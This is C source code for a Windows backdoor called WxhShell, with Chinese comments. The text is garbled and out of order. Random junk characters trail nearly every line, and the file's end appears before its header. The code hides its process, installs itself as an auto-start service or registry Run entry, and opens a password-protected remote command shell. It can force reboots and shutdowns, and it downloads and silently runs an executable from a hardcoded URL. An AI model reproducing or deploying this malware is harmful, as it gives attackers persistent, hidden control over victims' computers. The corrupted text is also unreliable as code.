  case 'd': { tl 0|.Q,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hE&6;3">  
    if(Boot(SHUTDOWN)) es)^^kGj6f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  L8`v  
    else { UA$IVK&{  
    closesocket(wsh); QEr<(wM-y  
    ExitThread(0); :H]d1  
    } 4#IT" i  
    break; 2VN].t:  
    } hZJ~zx~  
  // 获取shell A*OqUq/H`;  
  case 's': { .iy4 (P4  
    CmdShell(wsh); ,6>3aD1w~q  
    closesocket(wsh); VVeJe"!t  
    ExitThread(0); uPfz'|,  
    break; ZO<,V  
  } `DYhGk  
  // 退出 FOk&z!xYKd  
  case 'x': { Pxr/*X  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >PA*L(Dh%  
    CloseIt(wsh); 3F;C{P!  
    break; G&*P*f1 S  
    } 7"(Zpu  
  // 离开 `>sOOA  
  case 'q': { D{+@ ,C7B  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); a3yNd  
    closesocket(wsh); 1/97_:M0~F  
    WSACleanup(); Yz/Blh%V  
    exit(1); G0 )[(s  
    break; [^"*I.Z_  
        } $S#Z>d*1!  
  } 4A2}3$c9  
  } \ptO4E  
D kWp  
  // 提示信息 J+P<zC  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (  cs  
} 9 5,]86  
  } V#ELn[k  
Vgj#-7bdyi  
  return; a 8k2*u  
} V}s/knd  
]yPK}u  
// shell模块句柄 :BPgDLL,  
int CmdShell(SOCKET sock) kPX+n+$  
{ a&%aads  
STARTUPINFO si; ~0p8joOH  
ZeroMemory(&si,sizeof(si)); ?, pwYT0g  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q=X<QhK  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "KIY+7@S}  
PROCESS_INFORMATION ProcessInfo; A$@;Q5/2  
char cmdline[]="cmd"; p7|I>8ur.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @ [;'b$T$  
  return 0; $]DuO1H./  
} G=cRdiy`C  
t<v.rb  
// 自身启动模式 :`N&BV  
int StartFromService(void) TanWCt4r  
{ ZO%^r%~s  
typedef struct LQ~|VRRX<  
{ _m9k2[N!  
  DWORD ExitStatus; bY P8  
  DWORD PebBaseAddress; oLoc jj~T  
  DWORD AffinityMask; @6 "MhF  
  DWORD BasePriority; HUx`RX0>  
  ULONG UniqueProcessId; b=EI?XwJ  
  ULONG InheritedFromUniqueProcessId; !P{ /;Q  
}   PROCESS_BASIC_INFORMATION; |Y!^E % *  
)Eozo4~  
PROCNTQSIP NtQueryInformationProcess; +Csb8  
-PPwX~;!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z,)H f  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +v B}E  
2'fd4 rE5  
  HANDLE             hProcess; |XB<vj07G  
  PROCESS_BASIC_INFORMATION pbi; ql@2<V{  
d#T5=5 #  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); J,W $\V]p  
  if(NULL == hInst ) return 0; $ +WXM$N  
X;!*D  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Dl/ C?Fll  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }uIQ@f`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?2"g*Bak  
8xlj,}QO\  
  if (!NtQueryInformationProcess) return 0; p6j-8ggL  
;T^s&/>E  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ={B C0,  
  if(!hProcess) return 0; i*|HN"!  
@|:fm() <  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8|Tqk,/pD  
*)Pm   
  CloseHandle(hProcess); WXxnOLJr  
2Z{?3mAb;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,WE2.MWR  
if(hProcess==NULL) return 0; `/WxEu3  
C|]c#X2t3  
HMODULE hMod; ajycYk9<m  
char procName[255]; FsqH:I4O  
unsigned long cbNeeded; 3Ws(],Q  
x@Gg fH<l  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dz@+ jEV  
(3N/DY1/  
  CloseHandle(hProcess); 5mAb9F8@  
+k6` tl~*  
if(strstr(procName,"services")) return 1; // 以服务启动  C O6}D  
4S42h_9  
  return 0; // 注册表启动 Q b^{`  
}  GAfc9  
P.Tnq  
// 主模块 e;vI XJE  
int StartWxhshell(LPSTR lpCmdLine) ]pm/5|  
{ uYebRCdR  
  SOCKET wsl; boiP_*|MY  
BOOL val=TRUE; 4(htdn6\  
  int port=0; T}!9T!(HdF  
  struct sockaddr_in door; H {=]94  
q&:7R .Ci  
  if(wscfg.ws_autoins) Install(); fExFpR,`  
76T7<.S  
port=atoi(lpCmdLine); ~;oXLCL0})  
)y] Dmm  
if(port<=0) port=wscfg.ws_port; _!2lnJ4+5  
|4DN2P  
  WSADATA data; N@PuC>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;\th.!'rn  
w#1BHx  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4 6v C/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ">7xSWR*4  
  door.sin_family = AF_INET; LHtO|Utn(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ddL3wQ  
  door.sin_port = htons(port); v^eAQoFLhN  
>C,0}lj  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { rZ,qHM  
closesocket(wsl); MZ%J ]Nd  
return 1; i@:^b_  
} -$!r+4|q  
w&IYCYK_  
  if(listen(wsl,2) == INVALID_SOCKET) { P:g!~&Q  
closesocket(wsl); \:h7,[e  
return 1; &</)k|.A6\  
} lfBCzxifC  
  Wxhshell(wsl); OR&pGoW  
  WSACleanup(); 4j;IyQDvM  
qdQ4%,E[  
return 0; $l)RMP}  
f IV"U  
} C1A  X  
M"]?'TMfXc  
// 以NT服务方式启动 <]?71{7X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) HCr}|DxyK  
{ Ip{hg,>  
DWORD   status = 0; skeeec\V  
  DWORD   specificError = 0xfffffff; MNU7OX<  
YAR$6&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ExS&fUn `C  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; P [aE3Felk  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; t[k ['<G  
  serviceStatus.dwWin32ExitCode     = 0; h<3bv&oI .  
  serviceStatus.dwServiceSpecificExitCode = 0; Rm3W&hQ  
  serviceStatus.dwCheckPoint       = 0; iM!V4Wih6  
  serviceStatus.dwWaitHint       = 0; 7r,GdP.  
!_Y%+Rkp0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &=t~_ Dc  
  if (hServiceStatusHandle==0) return; MZV bOcSAd  
At>e4t2@  
status = GetLastError(); }vZfp5Y  
  if (status!=NO_ERROR) G l/3*J  
{ 2G|}ENC  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .\H-?6R^  
    serviceStatus.dwCheckPoint       = 0; &2:WezDF  
    serviceStatus.dwWaitHint       = 0; fBTNI`#  
    serviceStatus.dwWin32ExitCode     = status; "LYhYkI  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8;~,jZ s  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); W' Y<iA  
    return; {B=64,D^7R  
  } YeJTB}  
*} *HXE5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,PpVZq~  
  serviceStatus.dwCheckPoint       = 0; Y<^Or  
  serviceStatus.dwWaitHint       = 0; Up-^km  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?/}IDwuh  
} /  !h<+  
pV<K=;:x>  
// 处理NT服务事件,比如:启动、停止 rSDI.m   
VOID WINAPI NTServiceHandler(DWORD fdwControl) (xfy?N  
{ 3I'7+?@@l  
switch(fdwControl) 6k')12~'  
{ kK/>,Eg  
case SERVICE_CONTROL_STOP: q8_E_s-U,  
  serviceStatus.dwWin32ExitCode = 0; p8]XNe  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; W;Dik%^tg  
  serviceStatus.dwCheckPoint   = 0; z__{6"^  
  serviceStatus.dwWaitHint     = 0; O 8l`1  
  { Y)8 Py1}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Fbotn(\h@  
  } %N\45nYU:  
  return; !*^+7M  
case SERVICE_CONTROL_PAUSE: e}gGl<((g  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; O&CY9 2)Lk  
  break; REc90v2"  
case SERVICE_CONTROL_CONTINUE: Aa-OMo;~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Gf7r!Ur;g  
  break; oeVI 6-_S  
case SERVICE_CONTROL_INTERROGATE: 0<-A2O),  
  break; |p/[sD+M  
}; 9-# =xE9'U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ty;a!yjC  
} !K.)Qr9V  
@B)5Ho  
// 标准应用程序主函数 v*y,PY1*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) O~Jf"Ht  
{ 9;gy38.3  
5[6{o$I  
// 获取操作系统版本 4M$"0}O;[h  
OsIsNt=GetOsVer(); Hm 0;[i  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K_j*9@  
L.9@rwfI  
  // 从命令行安装 \V j7%ph  
  if(strpbrk(lpCmdLine,"iI")) Install(); s7`2ky()kz  
_B&;z $  
  // 下载执行文件 Y qKQm+G  
if(wscfg.ws_downexe) { !y1qd  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) EwfL.z  
  WinExec(wscfg.ws_filenam,SW_HIDE); w$qdV,s 7  
} u~t%GIg  
[*vR&4mk  
if(!OsIsNt) { |Ntretz`\  
// 如果时win9x,隐藏进程并且设置为注册表启动 7 A{R0@  
HideProc(); P`CQ)o  
StartWxhshell(lpCmdLine); ]<iD'=a  
} wVv@   
else R-Tf9?)  
  if(StartFromService()) fn//j7 j  
  // 以服务方式启动 F{&0(6^p!  
  StartServiceCtrlDispatcher(DispatchTable); x;&iLQZh  
else ]o9^?iU]  
  // 普通方式启动 Q:b>1  
  StartWxhshell(lpCmdLine); #%CB`l  
<7%#RJwe  
return 0; Zh:@A Fz:R  
} UWgPQ%}  
MR":a T  
[r1\FF@v,  
> W^"*B  
=========================================== )P W Zc?M  
|'k7 ;UW  
jjoyMg95  
]D>\Z(b  
x50ZwV&j  
+o 6"Z)  
" I&&[ ':  
Xj6?,J  
#include <stdio.h> s=&x%0f%  
#include <string.h> ! M7727  
#include <windows.h> Coe%R(x5  
#include <winsock2.h> G{'`L)~3N  
#include <winsvc.h> NW*$+u%/R  
#include <urlmon.h> R5cpmCs@R  
];{CNDAL2  
#pragma comment (lib, "Ws2_32.lib") K{G\=yJ((  
#pragma comment (lib, "urlmon.lib") d?GB#N|+g  
covK6SH  
#define MAX_USER   100 // 最大客户端连接数 y $>U[^G[  
#define BUF_SOCK   200 // sock buffer 5F5)Bh  
#define KEY_BUFF   255 // 输入 buffer DvBRK}'  
[@/x  
#define REBOOT     0   // 重启 =eeZtj.  
#define SHUTDOWN   1   // 关机 Kb#Z(C9  
T;Ra/H  
#define DEF_PORT   5000 // 监听端口 enQev?8%  
?Hf8<C}3  
#define REG_LEN     16   // 注册表键长度 @3Mp>u/  
#define SVC_LEN     80   // NT服务名长度 <QRRD*\  
JW=P} h  
// 从dll定义API g/z7_Aq/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &(X-b"2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 'CjcFP  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); qJJ~#W)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &Ht5!zuW,  
vy5SBiK  
// wxhshell配置信息 VL@eR9}9K  
struct WSCFG { !-|{B3"6  
  int ws_port;         // 监听端口 fJOA5(  
  char ws_passstr[REG_LEN]; // 口令 &n2dL->*#  
  int ws_autoins;       // 安装标记, 1=yes 0=no R`>z>!)  
  char ws_regname[REG_LEN]; // 注册表键名 }woNI  
  char ws_svcname[REG_LEN]; // 服务名 5PT*b}g@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5cSqo{|En  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5m a(~5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 g5hMZPOmP  
int ws_downexe;       // 下载执行标记, 1=yes 0=no K2oyHw<mk  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" s#C~HK  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 05[k@f$n  
b~EA&dc  
}; mRD'@n  
_*dUH5  
// default Wxhshell configuration gO]jeO  
struct WSCFG wscfg={DEF_PORT, `BKV/Xl  
    "xuhuanlingzhe", ,wH]|`w  
    1,  5wy3C  
    "Wxhshell", $r/tVu2!W  
    "Wxhshell", +J(@.  
            "WxhShell Service", rTYMN  
    "Wrsky Windows CmdShell Service", ^yVKW5x  
    "Please Input Your Password: ", 6n Hyd<o  
  1, -@G,Ry-\t  
  "http://www.wrsky.com/wxhshell.exe", S5xum_Dq  
  "Wxhshell.exe" k|F TT  
    };  <sC.  
@xPWR=Lb  
// 消息定义模块 ~V!gHJ5M  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <(dg^;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L[.RV*sL  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; r2xIbZ  
char *msg_ws_ext="\n\rExit."; m\ (crkN  
char *msg_ws_end="\n\rQuit."; #TKByOcD2!  
char *msg_ws_boot="\n\rReboot..."; 3Ay<2v  
char *msg_ws_poff="\n\rShutdown..."; -|3feYb'  
char *msg_ws_down="\n\rSave to "; EPGp8VGXp~  
+G?nmXG[vj  
char *msg_ws_err="\n\rErr!"; .0u@PcE:O  
char *msg_ws_ok="\n\rOK!"; )U u! x6  
)_Wo6l)i  
char ExeFile[MAX_PATH]; uO}UvMW  
int nUser = 0; ^,N=GZRWW  
HANDLE handles[MAX_USER]; {Z{!tR?+  
int OsIsNt; ~jn~M_}K  
4ROuy+Ms'  
SERVICE_STATUS       serviceStatus; Q\[2BJo/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8k -l`O~  
DmpG35Jk  
// 函数声明 )l"py9STF  
int Install(void); ?'r=>'6D  
int Uninstall(void); 6,UW5389  
int DownloadFile(char *sURL, SOCKET wsh); UU" '  
int Boot(int flag); d{G*1l(X  
void HideProc(void); We*&\e+"T  
int GetOsVer(void); *B1%-  
int Wxhshell(SOCKET wsl); l5esx#([*R  
void TalkWithClient(void *cs); zY&/^^y  
int CmdShell(SOCKET sock); qA5PIEvdq  
int StartFromService(void); "kg;fF|  
int StartWxhshell(LPSTR lpCmdLine); Tg|/UUn  
a\?-uJ+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); s'yT}XQ;r  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); b1ma(8{{{  
3"y,Ut KGa  
// 数据结构和表定义 Ht=h9}x"g  
SERVICE_TABLE_ENTRY DispatchTable[] = S[5e,E w  
{ `hE@S |4  
{wscfg.ws_svcname, NTServiceMain}, W"*~1$vf  
{NULL, NULL} ;f+bIYQz  
}; P\2UIAPa\b  
IIIP<nyc  
// 自我安装 =E10j.r  
int Install(void) :B"Y3~I  
{ 9L9+zs3 k  
  char svExeFile[MAX_PATH]; On4tK\l @  
  HKEY key; TIre,s)_  
  strcpy(svExeFile,ExeFile); 2u?k;"]V  
f15f)P  
// 如果是win9x系统,修改注册表设为自启动 EsKOzl[c:  
if(!OsIsNt) { Z_}[hz$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X|Z2"*;b`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `M.\D  
  RegCloseKey(key); yV/A%y-P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { # 8fq6z|JZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @Rp#*{  
  RegCloseKey(key); Nr#" 5<W  
  return 0; 2E*h,Mo  
    } o+I'nFtnI  
  } c6_i~0W56  
} IFfB3{J  
else { U+wfq%Fz  
a1yGgT a?D  
// 如果是NT以上系统,安装为系统服务 }10ZPaHjl+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0$A7"^]  
if (schSCManager!=0) %RX}sS  
{ ?'I pR  
  SC_HANDLE schService = CreateService n+9rx]W,  
  ( r}Ec_0_lt  
  schSCManager, @_4E^KgF  
  wscfg.ws_svcname, D*o5fPvFO  
  wscfg.ws_svcdisp, l6#ms!e  
  SERVICE_ALL_ACCESS, |VxO ,[~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )CM3v L {  
  SERVICE_AUTO_START, ?KMGk]_<  
  SERVICE_ERROR_NORMAL, 1sN >U<  
  svExeFile, _q<Ke/  
  NULL, 1'Y7h;\~\  
  NULL, mO(A'p "b  
  NULL, &h_do8R  
  NULL, g:]X '%Ub  
  NULL N^;rLrm*  
  ); " }oH3L  
  if (schService!=0) =LHz[dSL  
  { _,{R3k  
  CloseServiceHandle(schService); k2Y *  
  CloseServiceHandle(schSCManager); S"skKh4w  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w9Z,3J6r  
  strcat(svExeFile,wscfg.ws_svcname); 5w#7B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { N~t4qlC/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); w_h}c$;GK  
  RegCloseKey(key); CPt62j8  
  return 0; 1b4/  
    } $zv&MD!&h  
  } nTQ&nu!  
  CloseServiceHandle(schSCManager); 0AWOdd>.  
} rIJv(&l  
} wi$,Y. :  
^DH*\ee  
return 1; t+<?$I[  
} fNnX{Wq  
vE<z0l  
// 自我卸载 GZCXm+  
int Uninstall(void) 0V[`zOO(o  
{ #$;i 4a  
  HKEY key; ll8Zo+-[  
E@%9u#  
if(!OsIsNt) { Tw+V$:$$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nXFPoR)T  
  RegDeleteValue(key,wscfg.ws_regname); }I>h<O  
  RegCloseKey(key); \~~y1.,U.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sm9/sX!  
  RegDeleteValue(key,wscfg.ws_regname); $l+DkR+  
  RegCloseKey(key); +\/1V`  
  return 0; Wt 1]9{$  
  } |(77ao3  
} dJ&f +  
} Ka+N5 T.f  
else { [B+]F~}@  
eb#p-=^KP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +u\kTn  
if (schSCManager!=0) yh:Wg$qx  
{ SQ0?M\D7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }K'gjs/N;  
  if (schService!=0) |rr<4>)X  
  { %]1.)j  
  if(DeleteService(schService)!=0) { vtu!* 7m  
  CloseServiceHandle(schService); X5w_ }Nhe  
  CloseServiceHandle(schSCManager); ])tUXU>  
  return 0; }{y(&Oy3Y  
  } 7*I:cga  
  CloseServiceHandle(schService); )p!.V( ,  
  } OLs<]0H  
  CloseServiceHandle(schSCManager); K);)$8K  
} 3GVS-?  
} yhG%@vSq  
odsLFU(  
return 1; 4157!w'\y  
} U *K6FWqiB  
5 ^867  
// 从指定url下载文件 u}Q cyG^  
int DownloadFile(char *sURL, SOCKET wsh) ,:=g}i  
{ *-\qO.4\  
  HRESULT hr; 3$f+3/l  
char seps[]= "/"; $rV4JROb  
char *token; Ahf71YP  
char *file; >_'0 s  
char myURL[MAX_PATH]; I3,0vnE@  
char myFILE[MAX_PATH]; rm?C_  
UVlh7wjg  
strcpy(myURL,sURL); A!uO7".E  
  token=strtok(myURL,seps); VqL#w<A %  
  while(token!=NULL) "J"RH:$v  
  { H9%[! RF  
    file=token; cf+EQY  
  token=strtok(NULL,seps); P1qQ)-J  
  } 'dvi@Jx  
J|=0 :G  
GetCurrentDirectory(MAX_PATH,myFILE); 5`\"UC7?%  
strcat(myFILE, "\\"); L"Dos +  
strcat(myFILE, file); dKJ-{LV  
  send(wsh,myFILE,strlen(myFILE),0); Zgw4[GpL  
send(wsh,"...",3,0); LTWiCI  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;}KT 3Q<^  
  if(hr==S_OK) [MXyOE  
return 0; 5hj _YqQ7  
else ;FnU[Q`M#L  
return 1; C/#?S=w`4  
aE 2=  
} 0T2^$^g  
K3xt,g  
// 系统电源模块 w:nLm,  
int Boot(int flag) {!>'# F^e  
{ :`B70D8ku  
  HANDLE hToken; ^ /ZNdwx  
  TOKEN_PRIVILEGES tkp; f)1*%zg%  
VOGx  
  if(OsIsNt) { vw w>]Z}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Zdy{e|-Zn  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); V~MyX&`  
    tkp.PrivilegeCount = 1; gN; E}AQt  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >qS2ha  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >UnLq:G  
if(flag==REBOOT) { ]O&\Pn0q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3Pgld*i7  
  return 0; ^y.|KA3[  
} ac%x\e$  
else { L ARMZoyi  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) k@P?,r  
  return 0; L Z}m;  
} p\22_m_wd  
  } ;pt.)5  
  else { hV}C.- 6h  
if(flag==REBOOT) { zK>}x=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  h@CP  
  return 0; ^;'FC vd  
} Xmw%f[Xl  
else { Jp"[` m  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) aNUM F  
  return 0; p}p}!M|  
} }6"l`$=Ev  
} FBeo@  
Nnq r{ub  
return 1; )(+q~KA}  
} _sAcvKH  
p]rV\,Yss  
// win9x进程隐藏模块 {RN-rF3w  
void HideProc(void) sB0m^Y'  
{ JH._/I  
3}5Ya\x  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); s0m k<>z  
  if ( hKernel != NULL ) /HVxZ2bar  
  { dlH&8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N{H#j6QW  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Yy0U2N [i  
    FreeLibrary(hKernel); 8Om4G]*|,  
  } XwIhD  
 PckAL  
return; NtNCt;_R7  
} k>F>y|m  
\3T[Cy|5|  
// 获取操作系统版本 d >O/Zal  
int GetOsVer(void) 89UR w9  
{ a y$CUw  
  OSVERSIONINFO winfo; pfQ3Y$z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); YBL.R;^v  
  GetVersionEx(&winfo); Ac'pu,v  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) gjzU%{T ?  
  return 1; ',!>9Dj  
  else qNWSDZQ  
  return 0; y#FFxSH>  
} DD}YbuO7  
#xw3a<z?u  
// 客户端句柄模块 #giH`|#d  
int Wxhshell(SOCKET wsl) kG u{[Rh  
{ y ~Fi  
  SOCKET wsh; eq@-J+  
  struct sockaddr_in client; `SQobH  
  DWORD myID; vr4{|5M  
S^iT &;,  
  while(nUser<MAX_USER) yCwe:58  
{ QB d4ok: R  
  int nSize=sizeof(client); YB.@zL0.(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ee {K5G  
  if(wsh==INVALID_SOCKET) return 1; K"zRj L+  
jS)YYk5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U+[h^M$U  
if(handles[nUser]==0) j>G|Xv  
  closesocket(wsh); 0|ekwTx.  
else {E.A?yej9  
  nUser++; B:ugEAo_  
  } +1^L35\@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); y?Pw6;e.  
{a ]u  
  return 0; O7m-_#/\   
} =R)w=ce  
8?ip,Q\  
// 关闭 socket 9\uBX.]x  
void CloseIt(SOCKET wsh) [#%@,C  
{ u/ri {neP{  
closesocket(wsh); I~4!8W-Y  
nUser--; ?kS#g  
ExitThread(0); `A<2wd;  
} X6=o vm  
LTuT"}dT[  
// 客户端请求句柄 % CQv&d2  
void TalkWithClient(void *cs)  r}}2 Kl  
{ GK [Hs 1/  
K^P&3H*(/n  
  SOCKET wsh=(SOCKET)cs; :i|Bz6Ht4  
  char pwd[SVC_LEN]; v8zOY#?  
  char cmd[KEY_BUFF]; ^%0^DN  
char chr[1]; Hc-up.?v'v  
int i,j; q2/kegAT  
}*S`1IWMj  
  while (nUser < MAX_USER) { c]"w0a-`^@  
j /@<=  
if(wscfg.ws_passstr) { tJ .Ln  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z29LtKr  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ! F<::fN  
  //ZeroMemory(pwd,KEY_BUFF); 7g:Lj,Z4L  
      i=0; -@@ O<M^  
  while(i<SVC_LEN) { 53>(2 _/[r  
s1tkiX{>  
  // 设置超时 1jE {]/Y7&  
  fd_set FdRead; !x! 1H5"  
  struct timeval TimeOut; bXA%|7*  
  FD_ZERO(&FdRead); WWC&-Ni  
  FD_SET(wsh,&FdRead); !w%p Gv.wg  
  TimeOut.tv_sec=8; *S?'[PS]1  
  TimeOut.tv_usec=0; 7a=ul:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); O:ACp<@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "{kE#`c6<n  
"{Hl! Zq/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pu_?) U  
  pwd=chr[0]; KGc!#C  
  if(chr[0]==0xd || chr[0]==0xa) { cj[x%eK>  
  pwd=0; NKTy!zWh  
  break; w`v` aw]  
  } 6Hfv'X5E`Z  
  i++; V+r&Z<&  
    } |T]&8Q)S  
y`z4S,  
  // 如果是非法用户,关闭 socket C~pQJ@bF0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Yhjv[9  
} (?ULp{VPFl  
^]Q.V  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %<8r`BMo  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ev4_}!  
*9|p}q9n  
while(1) { 2:<H)oB  
JeF$ W!!{  
  ZeroMemory(cmd,KEY_BUFF); Bd- &~s^  
K_k'#j~*?  
      // 自动支持客户端 telnet标准   9|Ylv:sR  
  j=0; |nm}E_  
  while(j<KEY_BUFF) { 3Pp+>{2_?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Wf-XH|j[  
  cmd[j]=chr[0]; 0/1=2E ^,  
  if(chr[0]==0xa || chr[0]==0xd) { RJKi98xwJ  
  cmd[j]=0; f>e0 l'\  
  break; hQ@#h`lS  
  } `jyyRwSoe  
  j++; Db  !8N  
    } w`fbUh6/  
g<7Aln}Nl\  
  // 下载文件 ia-ht>F*;  
  if(strstr(cmd,"http://")) { :4\%a4{Ie  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ";7/8(LBZ  
  if(DownloadFile(cmd,wsh)) f=.!/e70  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (F9e.QyWb  
  else 6uKP BL@,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u,{R,hTDS  
